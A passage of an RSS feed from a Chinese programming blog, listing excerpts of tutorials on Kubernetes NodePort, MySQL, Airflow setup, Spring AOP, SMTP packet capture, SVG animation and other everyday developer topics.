      <description>一、 如何从外部网络访问 Kubernetes的Pod IP和Cluster IP都只能在集群内部访问，而我们通常需要从外部网络上访问集群中的某些服务，Kubernetes提供了下述几种方式来为集群提供外部流量入口。&#xA;二、需求 有一pod,里面有rabbitmq服务，先想从外部通过ip:15672访问MQ的管理员界面查看队列消费情况。&#xA;方法1(pod会重启)： 方法2: NodePort(pod不会重启,更适合生产环境) NodePort在集群中的主机节点上为Service提供一个代理端口，以允许从主机网络上对Service进行访问。Kubernetes官网文档只介绍了NodePort的功能，并未对其实现原理进行解释。下面我们通过实验来分析NodePort的实现机制。&#xA;执行下面的命令创建一个nodeport类型的service。&#xA;kubectl apply -f rmq-np-svc.yaml rmq-np-svc.yaml内容（注意：端口范围只能是 30000-32767）:&#xA;apiVersion: v1 kind: Service metadata: namespace: yie-edge labels: baetyl-app-name: basic-service name: rabbitmq-np-service spec: ports: - name: 15672-15672 nodePort: 31672 port: 15672 protocol: TCP targetPort: 15672 selector: baetyl-app-name: basic-service type: NodePort status: loadBalancer: {} 三、Kubernetes中的nodePort，targetPort，port的区别和意义 nodePort&#xA;外部机器可访问的端口。&#xA;比如一个Web应用需要被其他用户访问，那么需要配置type=NodePort，而且配置nodePort=31672，那么其他机器就可以通过浏览器访问IP:31672访问到该服务，例如http://172.19.12.13:31672。&#xA;例如rabbitmq可能不需要被外界访问，只需被内部服务访问，那么不必设置NodePort&#xA;targetPort&#xA;容器的端口（最根本的端口入口），与制作容器时暴露的端口一致&#xA;port&#xA;kubernetes中的服务之间访问的端口，尽管rabbitmq容器暴露,15672端口，但是集群内其他容器需要通过15672端口访问该服务，外部机器不能访问rabbitmq服务，因为他没有配置NodePort类型&#xA;四、操作 通过netstat命令可以看到Kube-proxy在主机网络上创建了30080监听端口，用于接收从主机网络进入的外部流量。&#xA;查看创建的service，可以看到kubernetes创建了一个名为rmq-np-svc的service，并为该service在主机节点上创建了31672这个Nodeport。</description>
    </item>
    <item>
      <title>MySQL学习教程（超全）</title>
      <link>https://bchobby.github.io/posts/065cda758510762223b2cc8d04dd6896/</link>
      <pubDate>Mon, 20 Mar 2023 14:23:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/065cda758510762223b2cc8d04dd6896/</guid>
      <description>学习MySQL需要通过阅读文档、观看视频教程、参加在线课程等方式。同时，还需要进行实践操作，如创建数据库、表和数据插入、查询等操作，以加深对MySQL的理解和掌握。在实践中，也可以遇到一些问题，需要通过查询文档和搜索解决方案的方式来解决。&#xA;一、学习内容&#xA;1.学习SQL语言基础：学习SQL语言的基础知识，如数据类型、表的创建、数据插入和查询等。&#xA;2.学习MySQL的安装和配置：学习如何在计算机上安装和配置MySQL数据库服务器。&#xA;MySQL是一种流行的关系型数据库管理系统，本文将为您介绍MySQL的安装和配置。&#xA;下载MySQL安装包 在MySQL官网（https://www.mysql.com/）上下载MySQL安装包，选择适合您系统的版本（例如Windows、Linux等）和对应的操作系统版本。 2.安装MySQL&#xA;双击安装包，根据提示进行安装。在安装过程中，您需要选择MySQL的安装路径、设置root用户的密码、配置MySQL的端口号等。&#xA;3.配置MySQL&#xA;安装完成后，需要进行一些基本配置才能使用MySQL。以下是一些基本的配置：&#xA;启动MySQL服务：在Windows操作系统中，可以在“服务”中启动MySQL服务;在Linux操作系统中，可以使用命令行启动MySQL服务。 配置MySQL连接：在MySQL的安装目录中有一个my.ini或my.cnf文件，可以通过修改该文件配置MySQL连接。例如，可以修改端口号、设置字符集、禁止远程连接等。&#xA;创建数据库和用户：可以使用MySQL的命令行工具或者可视化工具（例如Navicat、phpMyAdmin等）创建数据库和用户。具体命令如下：&#xA;CREATE DATABASE dbname; CREATE USER &#39;username&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;password&#39;; GRANT ALL PRIVILEGES ON dbname.* TO &#39;username&#39;@&#39;localhost&#39;; FLUSH PRIVILEGES; 4.使用MySQL 安装和配置完成后，可以使用MySQL进行数据库管理。可以使用命令行工具或者可视化工具进行操作，例如创建表、插入数据、查询数据等。&#xA;MySQL的基本使用命令如下：&#xA;登录MySQL：使用命令行工具，输入mysql -u root -p命令并输入root用户密码即可登录MySQL。创建数据库：创建数据库数据库名称;创建表：创建表表名（列 1 数据类型，列 2 数据类型，...）;插入数据：INSERT INTO tablename （column1， column2， ...）值（值 1、值 2、...）;查询数据：SELECT column1， column2， ...从表名 WHERE 条件;更新数据：UPDATE 表名 SET 列 1 = 值 1， 列 2 = 值 2， ...其中条件;删除数据：从表名中删除 WHERE 条件; 3.</description>
    </item>
    <item>
      <title>node : 无法将“node”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写，如果包括路径，请确保路径正 确，然后再试一次 的解决方案</title>
      <link>https://bchobby.github.io/posts/bac643585e5a92bdf806e1b5a5501ec1/</link>
      <pubDate>Mon, 20 Mar 2023 11:31:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bac643585e5a92bdf806e1b5a5501ec1/</guid>
      <description> 背景 Windows系统安装好了node环境，cmd中输入node -v 命令也能出现node的版本。&#xA;但是在IDEA的Terminal中输入，node相关命令。去出现如下错误：&#xA;解决方案 首先先确认自己的node已经安装了，整个路径不要有中文或空格&#xA;右键计算机，点开属性&#xA;左侧点开高级系统设置&#xA;打开环境变量，点击新建。&#xA;变量名 NODE_HOME，变量值就是你存放node.exe的整个文件夹（不能理解的话请参考第一步里面的图和第五步里面的图），然后点确定就行了&#xA;编辑Path变量&#xA;新增两个条目&#xA;%NODE_HOME% %NODE_HOME%\node-global 6.之后重新打开Terimal，输入node命令验证就可以了。&#xA;设置国内源 设置国内源，否则下载国外的比较慢 cmd命令打开命令窗口输入：&#xA;npm config set registry &#34;https://registry.npm.taobao.org&#34; </description>
    </item>
    <item>
      <title>Servlet:利用Response实现文件下载</title>
      <link>https://bchobby.github.io/posts/36f8742abc34380a8399a9ea819b31b9/</link>
      <pubDate>Mon, 20 Mar 2023 10:35:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36f8742abc34380a8399a9ea819b31b9/</guid>
      <description>一、自己添加一个图片/文件在resources中，并找到其绝对路径写在类中 二、创建FIleServlet类 import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.FileInputStream; import java.io.IOException; public class FileServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //1.要获取下载文件的路径 String realPath = &#34;C:\\代码\\javaweb-servlet\\response\\target\\classes\\1.png&#34;; System.out.println(&#34;下载文件的路径：&#34;+realPath); //2.下载的文件名是什么？ String filename = realPath.substring(realPath.lastIndexOf(&#34;\\&#34;) + 1); //3.设置想办法让浏览器能够支持下载我们需要的东西 resp.setHeader(&#34;Content-Disposition&#34;,&#34;attachment;filename=&#34;+filename); //4.获取下载文件的输入流 FileInputStream in = new FileInputStream(realPath); //5.创建缓冲区 int len=0; byte[] buffer = new byte[1024]; //6.获取OutputStream对象 ServletOutputStream out = resp.getOutputStream(); //7.将FileOutputStream流写入到buffer缓冲区,使用OutputStream将缓冲区中的数据输出到客户端 while((len=in.read(buffer))&amp;gt;0) { out.</description>
    </item>
    <item>
      <title>面向对象程序设计基本概念和原理</title>
      <link>https://bchobby.github.io/posts/5b0b7e397a871391acb9a87a563a77f9/</link>
      <pubDate>Mon, 20 Mar 2023 10:10:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b0b7e397a871391acb9a87a563a77f9/</guid>
      <description>面向对象程序设计的基本概念和原理&#xA;面向对象程序设计以对象为核心，该方法认为程序由一系列对象组成。类是对现实世界的抽象，包括表示静态属性的数据和对数据的操作，对象是类的实例化。对象间通过消息传递相互通信，来模拟现实世界中不同实体间的联系。在面向对象的程序设计中，对象是组成程序的基本模块。&#xA;消息传递：&#xA;指的是一个对象调用了另一个对象的方法（或者称为成员函数）。&#xA;1.抽象&#xA;抽取事物的共同特征就是抽取事物的本质特征，舍弃不同特征。&#xA;对特定实例进行抽象获取共同特征形成概念，对数据和行为都抽象&#xA;2.对象&#xA;对象=属性+行为；&#xA;对象是反应客观事物属性以及行为特征的描述，&#xA;每个对象都具有描述它的特征的属性和附属于它的行为。&#xA;3.类&#xA;一个共享相同结构和行为的对象的集合。&#xA;定义了一件事物的抽象特点。通常来说，类定义了事物的属性和它可以做到的（它的行为）&#xA;(类与对象之间的关系就是具体与抽象的关系&#xA;类是多个对象进行综合抽象的结果，一个对象就是类的一个实例)&#xA;4.实例&#xA;实例是根据类创建出来的一个个具体的“对象”&#xA;(类是创建实例的模板，而实例则是一个一个具体的对象，各个实例拥有的数据都互相独立，互不影响)&#xA;5.属性&#xA;表示类或者对象的某种特征。&#xA;属性的分类&#xA;类属性：整个类都具备的属性。&#xA;实例属性（对象属性）：成员所具备的属性。&#xA;6.方法&#xA;也称为成员函数，是指对象上的操作，作为类声明的一部分来定义。方法定义了可以对一个对象执行那些操作&#xA;7.封装性&#xA;把数据和实现操作的代码集中起来放在对象内部，并尽可能隐藏对象的内部细节&#xA;第一层意思：将数据和操作捆绑在一起，创造出一个新的类型的过程。&#xA;第二层意思：将接口与实现分离的过程。&#xA;8.继承性&#xA;在已有类的基础上增加新特性而派生出新的类，原有的称作基类，新建的叫做派生类&#xA;面向对象技术则是指一个对象针对于另一个对象的某些独有的特点、能力进行复制或者延续。如果按照继承源进行划分，则可以分为单继承（一个对象仅仅从另外一个对象中继承其相应的特点）与多继承（一个对象可以同时从另外两个或者两个以上的对象中继承所需要的特点与能力，并且不会发生冲突等现象）&#xA;类之间的关系，在这种关系中，一个类共享了一个或多个其他类定义的结构和行为。继承描述了类之间的“是一种”关系。子类可以对基类的行为进行扩展、覆盖、重定义。&#xA;9.多态性&#xA;是不同的对象收到相同的消息产生多种不同的行为方式。例如接受到一个“移动”的消息，在Windows类和piece类对象上可以有不同的行为&#xA;从微观的角度来讲，多态性是指在一组对象的一个类中，面向对象技术可以使用相同的调用方式来对相同的函数名进行调用，即便这若干个具有相同函数名的函数所表示的函数是不同的&#xA;10.异常处理&#xA;异常处理的基本思想是分离异常的抛出和异常的处理。基本方法是:当程序中出现异常时抛出异常，用来通知系统发生了异常，然后由系统捕捉异常，并交给预先安排的异常处理程序段来处理异常。这样的异常处理机制可以实现在两个或两个以上的程序模块间传递异常信息，从而可以使软件设计者根据问题的要求，在不同情况下灵活地处理各种异常。&#xA;1.定义异常类&#xA;2.抛出异常throw&#xA;3.捕获异常try&#xA;异常的捕获由系统自动完成&#xA;4.处理异常cathch&#xA;11.文件&#xA;12.多线程&#xA;Thread类&#xA;多线程程序的优点：&#xA;1.充分利用CPU的资源：执行单线程程序时，若程序发生阻塞，CPU可能会处于空闲状态，这将造成计算机资源浪费，而使用多线程可以在某个线程处理休眠或阻塞状态时运行其他线程，这样，大大提高了资源利用率。&#xA;2.简化编程模型：一个既长又复杂的进程可以考虑分为多个线程，成为几个独立的运行部分，如使用时、分、 秒来描述当前时间，如果写成单线程程序可能需要多重循环判断，而如果使用多线程，时、分、秒各使用一个线程控制，每个线程仅需实现简单的流程，简化了程序逻辑，这样更有助于开发人员对程序的理解和维护。&#xA;3.带来良好的用户体验：由于多个线程可以交替执行，减少或避免了因程序阻塞或意外情况造成的响应过慢现象，降低了用户等待的几率。</description>
    </item>
    <item>
      <title>数据结构(复习)</title>
      <link>https://bchobby.github.io/posts/d18cd9de81f1fb02da83997aeb658424/</link>
      <pubDate>Mon, 20 Mar 2023 09:19:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d18cd9de81f1fb02da83997aeb658424/</guid>
      <description>1.串的模式匹配 KMP&#xA;2.二叉树先序遍历，后序遍历，中序遍历 递归算法和非递归算法&#xA;①后续遍历递归算法&#xA;void PostOrder(BitTree T) { if(T!=NULL) PostOrder(T_&amp;gt;lchild); PostOrder(T_&amp;gt;rchild); visit(T); } ②非递归算法中序遍历&#xA;void InOrder(BitTree T) { InitStack(S); BiTree p=T； while(p|| !IsEmpty(S)) { if(p) { Push(S,p); p=p-&amp;gt;lchild; } else{ Pop(S，p); visit(p); p=p_&amp;gt;rchild; } } } ③层序遍历&#xA;void LevelOrder(BiTree T) { InitQueue(Q); BiTree p; EnQueue(Q，T)； while(!IsEmpty(Q)) { DeQueue(Q,p); visit(p); if(p-&amp;gt;lchild!=NULL) EnQueue(Q，p-&amp;gt;lchild)； if(p-&amp;gt;rchild!=NULL) EnQueue(Q，p-&amp;gt;rchild)； } } 3.树的存储结构&#xA;1.双亲表示法&#xA;#define MAX_TREE_SIZE 100 typedef struct{ ElemType data; int parent; } PTNode;//节点 typedef struct { PTNode nodes[MAX_TREE_SIZE 100]; int n;/节点个数 }PTree;//树 2.</description>
    </item>
    <item>
      <title>ChatGPT说：如何利用ChatGPT变现？躺着赚钱不是梦。</title>
      <link>https://bchobby.github.io/posts/6e1e205b6ac8170b10b017fcd5ff42bb/</link>
      <pubDate>Mon, 20 Mar 2023 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e1e205b6ac8170b10b017fcd5ff42bb/</guid>
      <description>您好，我是码农飞哥，感谢您阅读本文，欢迎一键三连哦。&#xA;💪🏻 1. Python基础专栏，基础知识一网打尽，9.9元买不了吃亏，买不了上当。 Python从入门到精通&#xA;😁 2. 毕业设计专栏，毕业季咱们不慌忙，几百款毕业设计等你选。&#xA;❤️ 3. Python爬虫专栏，系统性的学习爬虫的知识点。9.9元买不了吃亏，买不了上当 。python爬虫入门进阶&#xA;❤️ 4. Ceph实战，从原理到实战应有尽有。 Ceph实战&#xA;❤️ 5. Java高并发编程入门，打卡学习Java高并发。 Java高并发编程入门&#xA;文章目录 前言利用ChatGPT实现变现的方法1. 语言模型服务1.1.语音助手：1.2.写作工具：1.3.聊天机器人： 2. 文本生成服务2.1.内容营销：2.2.学术论文写作：2.3. 翻译服务： 3. 构建软件 前言 ChatGPT 是一种基于自然语言处理技术的大型语言模型，可以生成逼真的自然语言文本，并且可以用于各种任务，例如机器翻译、文本摘要、情感分析等等。由于其强大的功能和广泛的应用场景，许多人开始考虑如何利用 ChatGPT 来赚钱。在本文中，我们将介绍如何利用 ChatGPT 实现变现的不同方法，以及一些实用的技巧和建议。&#xA;利用ChatGPT实现变现的方法 1. 语言模型服务 一种最常见的方法是通过提供语言模型服务来获得收益。这种方法的核心是将 ChatGPT 集成到应用程序中，并允许用户使用它来生成自然语言文本。一些具体的实现方式包括：&#xA;1.1.语音助手： 将 ChatGPT 集成到智能语音助手中，例如 Siri、Alexa、Google Assistant 等，允许用户通过语音与 ChatGPT 交互。&#xA;1.2.写作工具： 将 ChatGPT 集成到写作工具中，例如微软的 Word、谷歌的 Docs、苹果的 Pages 等，允许用户使用 ChatGPT 生成文章、段落或句子。&#xA;1.3.聊天机器人： 将 ChatGPT 集成到聊天机器人中，例如微信的小程序、Facebook Messenger 等，允许用户与 ChatGPT 进行自然语言对话。&#xA;以讯飞智能客服为例，它可以帮助企业实现语音交互、多轮对话、语音合成等功能。讯飞智能客服的商业模式主要是基于 SaaS 模式，企业可以根据自身的需求选择不同的服务套餐，按照服务时长、并发数等参数进行付费。同时，讯飞智能客服还可以提供定制化的解决方案，根据客户需求进行量身定制。</description>
    </item>
    <item>
      <title>airflow学习之路 (二) airflow 底层数据库的修改</title>
      <link>https://bchobby.github.io/posts/dfd81d08dad9eccb85a4c8c09febe575/</link>
      <pubDate>Mon, 20 Mar 2023 07:12:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfd81d08dad9eccb85a4c8c09febe575/</guid>
      <description> airflow学习之路 (二) airflow 底层数据库的修改 ​ airflow想要升级的处理能力，后台metadata DB必须使用MySQL或者Postgresql。Airflow默认是有Sqlite，仅仅只能用做开发测试，也无法使用LocalExecutor。另外，后续的DAG会在这个数据库中执行读写数据操作，也是为后面的内容做好铺垫。&#xA;airflow 底层数据库的修改 设置 MySQL 数据库 创建一个数据库，Airflow 将使用该数据库访问此数据库。 在下面的示例中，将创建一个数据库airflow_db&#xA;CREATE DATABASE airflow_db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; 安装mysql依赖包 pip install mysql-connector-python -i https://pypi.douban.com/simple 连接配置 mysql+mysqlconnector://&amp;lt;user&amp;gt;:&amp;lt;password&amp;gt;@&amp;lt;host&amp;gt;[:&amp;lt;port&amp;gt;]/&amp;lt;dbname&amp;gt; 示例如下&#xA;mysql+mysqlconnector://root:123456@mysql:3306/airflow_db 修改配置 vim ~/airflow/airflow.cfg 在[database]下面修改配置如下：&#xA;[database] # sql_alchemy_conn = sqlite:home/deepcam/airflow/airflow.db sql_alchemy_conn = mysql+mysqlconnector://root:123456@mysql:3306/airflow_db 初始化airflow airflow db init 问题汇总 1.airflow db init异常 sqlalchemy.exc.ProgrammingError: (mysql.connector.errors.ProgrammingError) 1067 (42000): Invalid default value for &#39;updated_at&#39; 找到MySQL的配置文件默认为my.ini 在[mysqld]下面增加配置如下：&#xA;sql_mode=STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION </description>
    </item>
    <item>
      <title>Python math详解</title>
      <link>https://bchobby.github.io/posts/fd3b0adc8e1d39e5f471504792516c67/</link>
      <pubDate>Mon, 20 Mar 2023 07:08:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd3b0adc8e1d39e5f471504792516c67/</guid>
      <description>Python Math 是 Python 标准库中的一个模块，它提供了对数学函数的支持。该模块包含了各种用于数值计算的函数，比如三角函数、指数和对数等等。在本篇文章中，我们将详细介绍 Python Math 模块中的常见函数及其使用方法。&#xA;要使用 math 模块，需要先将其导入到你的代码中：&#xA;import math&#xA;现在你就可以使用 math 模块中提供的任何函数了。&#xA;数字取整 math 模块包含几个数字取整的函数。其中最常用的是 ceil() 和 floor() 函数。ceil() 函数用于向上取整，返回大于或等于给定数字的最小整数；而 floor() 函数则用于向下取整，返回小于或等于给定数字的最大整数。&#xA;python&#xA;import math&#xA;x = 1.4&#xA;y = 2.6&#xA;print(math.ceil(x)) # 输出：2&#xA;print(math.floor(y)) # 输出：2&#xA;数学常量 math 模块还包括一些常见的数学常量，比如圆周率 π 和自然对数底 e 等。这些常量可在进行某些计算时非常有用。&#xA;python&#xA;import math&#xA;print(math.pi) # 输出：3.141592653589793&#xA;print(math.e) # 输出：2.718281828459045&#xA;三角函数 math 模块还提供了许多三角函数，例如 sin()、cos() 和 tan() 等。这些函数接受一个弧度值，并返回相应角度上正弦、余弦或正切值。&#xA;python&#xA;import math&#xA;x = math.</description>
    </item>
    <item>
      <title>airflow学习之路 (一) 安装启动airflow</title>
      <link>https://bchobby.github.io/posts/a7d4acba7b1835a51690953a77a07963/</link>
      <pubDate>Mon, 20 Mar 2023 05:48:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7d4acba7b1835a51690953a77a07963/</guid>
      <description>airflow学习之路 (一) 安装启动airflow airflow简介 ​ ​ Apache Airflow 是一个开源平台，用于开发、调度、 以及监控面向批处理的工作流。Airflow的可扩展Python框架使您能够构建工作流程 与几乎任何技术连接。Web 界面有助于管理工作流的状态。气流是 可通过多种方式进行部署，从笔记本电脑上的单个进程到分布式设置，甚至支持 最大的工作流程。&#xA;适用场景 ​ ​ 适用于需要执行数据处理和数据管道任务的应用场景，例如数据抽取、转换、加载(ETL)、数据挖掘、机器学习等。Airflow提供了丰富的监控、报告和告警功能，可以帮助用户管理和调度复杂的数据管道。&#xA;运行环境搭建 创建airflow虚拟环境 conda create -n airflow python=3.8 进入airflow虚拟环境 conda activate airflow 安装airflow环境依赖包 pip install kubernetes -i https://pypi.douban.com/simple pip install numpy -i https://pypi.douban.com/simple pip install apache-airflow==2.4.3 -i https://pypi.douban.com/simple 初始化airflow airflow db init 查看版本 airflow version 调度服务启动 启动airflow web服务 启动后浏览器访问http://172.22.8.244:8080&#xA;airflow webserver -p 8080 -D -p 端口-D 后台运行 启动airflow调度 airflow scheduler -D 创建账户 airflow users create \ --username admin \ --firstname test \ --lastname test \ --role Admin \ --email test@test.</description>
    </item>
    <item>
      <title>SpringBoot集成AOP实现日志记录</title>
      <link>https://bchobby.github.io/posts/1b192d813a3bd4fd95b027253da78520/</link>
      <pubDate>Sun, 19 Mar 2023 20:59:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b192d813a3bd4fd95b027253da78520/</guid>
      <description>文章目录 AOP简介AOP实现原理AOP相关概念Aspect（切面）Joint point（连接点）Pointcut（切点）Advice（增强）Target（目标对象）Weaving（织入） AOP常用注解Springboot整合AOP实例一（execution表达式）1.导入依赖2.创建一个UserService及其实现3.创建一个切面类4.测试 实例二 (@annotation方式)1.声明一个自定义注解2.新增AnnotationAop类：3.在接口方法上加自定义注解4.测试 实例三 （环绕通知方式）：1. 改造AnnotationAop类：2.测试 实例四（DeclareParents）1.创建一个DoSthService及其实现2.新增一个IntroductionAop类3.测试 完整的测试类 AOP简介 AOP：面向切面编程，是通过预编译方式和运行期动态代理，实现在不修改源代码的情况下给程序动态统一添加功能的一种技术，同时是对OOP(面向对象编程)的补充和完善，常被用来在spring中实现日志记录、性能监控等功能。&#xA;面向对象实现日志记录，性能监控这些功能时，需要在每个对象中都添加相同的方法，这样就产生了较大的重复工作量和大量的重复代码，不利于维护，使用AOP，可以大大减少代码数量，方便维护。&#xA;AOP实现原理 Spring 实现AOP思想使⽤的是动态代理技术。默认状况下，Spring会根据被代理对象是否实现接⼝来选择使⽤JDK仍是CGLIB。当被代理对象没有实现任何接⼝时， Spring会选择CGLIB。当被代理对象实现了接⼝， Spring会选择JDK官⽅的代理技术，不过能够经过配置的⽅式，让Spring强制使⽤CGLIB。&#xA;AOP相关概念 Aspect（切面） Aspect 声明类似于 Java 中的类声明，在 Aspect 中会包含着一些 Pointcut 以及相应的 Advice。&#xA;Joint point（连接点） 表示在程序中明确定义的点，典型的包括方法调用，对类成员的访问以及异常处理程序块的执行等等，它自身还可以嵌套其它 joint point。&#xA;Pointcut（切点） 表示一组 joint point，这些 joint point 或是通过逻辑关系组合起来，或是通过通配、正则表达式等方式集中起来，它定义了相应的 Advice 将要发生的地方。&#xA;Advice（增强） Advice 定义了在 Pointcut 里面定义的程序点具体要做的操作，它通过 before、after 和 around 来区别是在每个 joint point 之前、之后还是代替执行的代码。&#xA;Target（目标对象） 织入 Advice 的目标对象.。&#xA;Weaving（织入） 将 Aspect 和其他对象连接起来, 并创建 Adviced object 的过程&#xA;AOP常用注解 @Component： 将当前类注入到Spring容器内@Aspect ：表明是一个切面类@Before ：前置通知，在方法执行之前执行@After ：后置通知，在方法执行之后执行@AfterRuturning ：返回通知，在方法返回结果之后执行@AfterThrowing ：异常通知，在方法抛出异常之后执行@Around ：环绕通知，围绕着方法执行@Pointcut ：切入点，PointCut（切入点）表达式有很多种，其中execution用于使用切面的连接点。 Springboot整合AOP 实例一（execution表达式） 1.</description>
    </item>
    <item>
      <title>smtp报文分析（25、465、587端口）</title>
      <link>https://bchobby.github.io/posts/d64358f2a2fa5a173141395654a49e08/</link>
      <pubDate>Sun, 19 Mar 2023 20:38:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d64358f2a2fa5a173141395654a49e08/</guid>
      <description>对于用到的工具和对应的环境配置可以参见 smtp 抓包_Steven-Russell的博客-CSDN博客&#xA;25端口报文（仅支持smtp协议）&#xA;curl命令&#xA;curl --verbose -s --url &#39;smtp://smtp.qq.com:25&#39; --ssl-reqd --cacert /root/qqmail.pem --mail-from &#39;xxxxxxxxx@qq.com&#39; --mail-rcpt &#39;xxxxxxxxx@163.com&#39; --upload-file /root/email.txt --user &#39;xxxxxxxxx@qq.com:xxxxxpasswaordxxxx&#39;&#xA;tcpdump抓包&#xA;tcpdump host 120.241.186.196 -i ens33 -w qqmail_25_smtp.cap&#xA;具体报文信息详见附件：https://download.csdn.net/download/weixin_43317111/87591832&#xA;注意：25端口smtp进行邮件发送时，能够明显看到smtp建链过程&#xA;587端口报文（仅smtp协议）&#xA;curl命令：&#xA;curl --verbose -s --url &#39;smtp://smtp.qq.com:587&#39; --ssl-reqd --cacert /root/qqmail.pem --mail-from &#39;xxxxxxxxx@qq.com&#39; --mail-rcpt &#39;xxxxxxxxx@163.com&#39; --upload-file /root/email.txt --user &#39;xxxxxxxxx@qq.com:xxxxxpasswaordxxxx&#39;&#xA;tcpdump命令：&#xA;tcpdump host 120.241.186.196 -i ens33 -w qqmail_587_smtp.cap&#xA;具体报文信息详见附件：&#xA;https://download.csdn.net/download/weixin_43317111/87591832&#xA;注意：587端口smtp进行邮件发送时，能够明显看到smtp建链过程&#xA;465端口报文（仅smtps协议）&#xA;curl命令：&#xA;curl --verbose -s --url &#39;smtps://smtp.qq.com:465&#39; --ssl-reqd --cacert /root/qqmail.</description>
    </item>
    <item>
      <title>python selenium对应的浏览器chromedriver版本不一致</title>
      <link>https://bchobby.github.io/posts/c5be37e1046f4ce1692587d32ce82042/</link>
      <pubDate>Sun, 19 Mar 2023 20:21:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5be37e1046f4ce1692587d32ce82042/</guid>
      <description>目录 python selenium对应的浏览器chromedriver版本不一致 google浏览器对应解决方法 浏览器版本查看查看chromedriver的版本chromedriver下载解压并拷贝环境变量修改 python selenium对应的浏览器chromedriver版本不一致 报错：session not created: This version of ChromeDriver only supports Chrome version&#xA;google浏览器对应解决方法 这是因为python使用selenium调用模块的时候，会用chromedriver去调用google浏览器。chrome和chromedriver版本不一致导致的，我们只需要升级下chromedriver的版本即可&#xA;浏览器版本查看 //打开google浏览器直接访问，查看浏览器版本 chrome://version/ 查看chromedriver的版本 进入终端，执行&#xA;//我这里已经升级过了，一般比你的浏览器版本老 chromedriver chromedriver下载 上面我们可以看到浏览器和chromedriver版本相差可能过大，我们需要下载一个相近或者相同版本的chromedriver&#xA;下载地址： http://chromedriver.storage.googleapis.com/index.html&#xA;解压并拷贝 我们下载好后，系统还是会默认使用原先的chromedriver，我们需要拷贝解压后的chromedrvier.exe到用户的google目录和python的安装目录下&#xA;//用户的google目录 C:\Program Files (x86)\Google\Chrome\Application //python安装目录，之前我安装到D盘的python目录下了，这里各位同学的情况可能不一样，根据自己情况来哈 D:\python 环境变量修改 我的是在D盘下了，所以系统变量也是这个，修改后再在终端执行chromedriver，看看版本是否升级成最新，如果没有重启就电脑试试</description>
    </item>
    <item>
      <title>SNAP处理Sentinel-1 SAR影像流程</title>
      <link>https://bchobby.github.io/posts/ecf434baaa49107bdac86947dfa77c7a/</link>
      <pubDate>Sun, 19 Mar 2023 20:12:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecf434baaa49107bdac86947dfa77c7a/</guid>
      <description>SNAP处理Sentinel-1 SAR影像流程 本文的处理流程适用于Sentinel-1 IW GRD数据&#xA;关于SLC数据和GRD数据的区别和介绍，很容易找到，本文不再赘述。&#xA;本文的处理步骤包含了辐射定标、噪声去除、轨道校正、地形校正（地理编码），这些步骤完成后SAR影像便可正常投入使用。&#xA;1. 导入数据 不需要解压，点击 file–&amp;gt;open product 打开后如下图所示。&#xA;2. 进行辐射定标 点击 Radar–&amp;gt;Radiometric–&amp;gt;Calibrate 打开后如下所示。Processing Parameters界面保持默认。&#xA;3.轨道校正 这一步需要联网，因为需要下载相应校正文件，自动下载。&#xA;点击Radar --&amp;gt; Apply Orbit File&#xA;Processing Parameters界面中勾选Do not…&#xA;4.热噪声去除 Radar–&amp;gt;Radiometric–&amp;gt;S-1 Thermal Noise&#xA;这个步骤不是必做的，但是做一下总比不做要好。&#xA;5.相干斑滤波 Radar–&amp;gt;Speckle Filtering–&amp;gt;Single Product Speckle Filter&#xA;此步骤去除噪声&#xA;（每个步骤都要主义文件的后缀）&#xA;滤波器选用Refined Lee滤波。&#xA;6.地形校正 地形校正包括地理编码和地形辐射校正，此步骤需要联网。&#xA;点击 Radar–&amp;gt;Geometric–&amp;gt;Terrain Correction–&amp;gt; Range-Doppler Terrain Correction&#xA;将Mask out areas without elevation取消勾选。&#xA;此步骤会比较漫长。&#xA;至此，Sentinel-1 SAR影像的预处理全部完成，得到的数值是后向散射系数。</description>
    </item>
    <item>
      <title>SVG进阶</title>
      <link>https://bchobby.github.io/posts/a8008e7a868f46ad6a79a5c6e35e7fd9/</link>
      <pubDate>Sun, 19 Mar 2023 19:26:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8008e7a868f46ad6a79a5c6e35e7fd9/</guid>
      <description>背景 日常工作中使用SVG语法实现了部分图形的绘制，包含一些简单的图标，以及复杂的甘特图、里程碑等。过程中也遇到一些特殊的需求与问题。现针对相关的知识点进行进一步梳理总结，加深印象并方便查看。&#xA;SVG动画 &amp;lt;animate&amp;gt;&amp;lt;/animate&amp;gt;&#xA;用来放在一个形状元素的内部，定义该元素的某个属性如何根据时间变化。在指定持续时间内，属性从开始值变成结束值。 &amp;lt;!-- 简单例子 --&amp;gt; &amp;lt;svg&amp;gt; &amp;lt;rect width=&#34;100&#34; height=&#34;100&#34; fill=&#34;orange&#34;&amp;gt; &amp;lt;animate attributeName=&#34;rx&#34; values=&#34;0;50,0&#34; dur=&#34;5s&#34; repeatCount=&#34;indefinite&#34; /&amp;gt; &amp;lt;/rect&amp;gt; &amp;lt;/svg&amp;gt; - 常用时间属性 - begin：动画何时开始 - dur：动画持续时间 - end：动画何时结束 - repeatCount：动画发生的次数；取值：number | indefinite - repeatDur：重复动画的总持续时间 - 常用取值属性 - values：可以定义在动画执行过程中使用的值序列，或者是颜色矩阵的数字列表 - 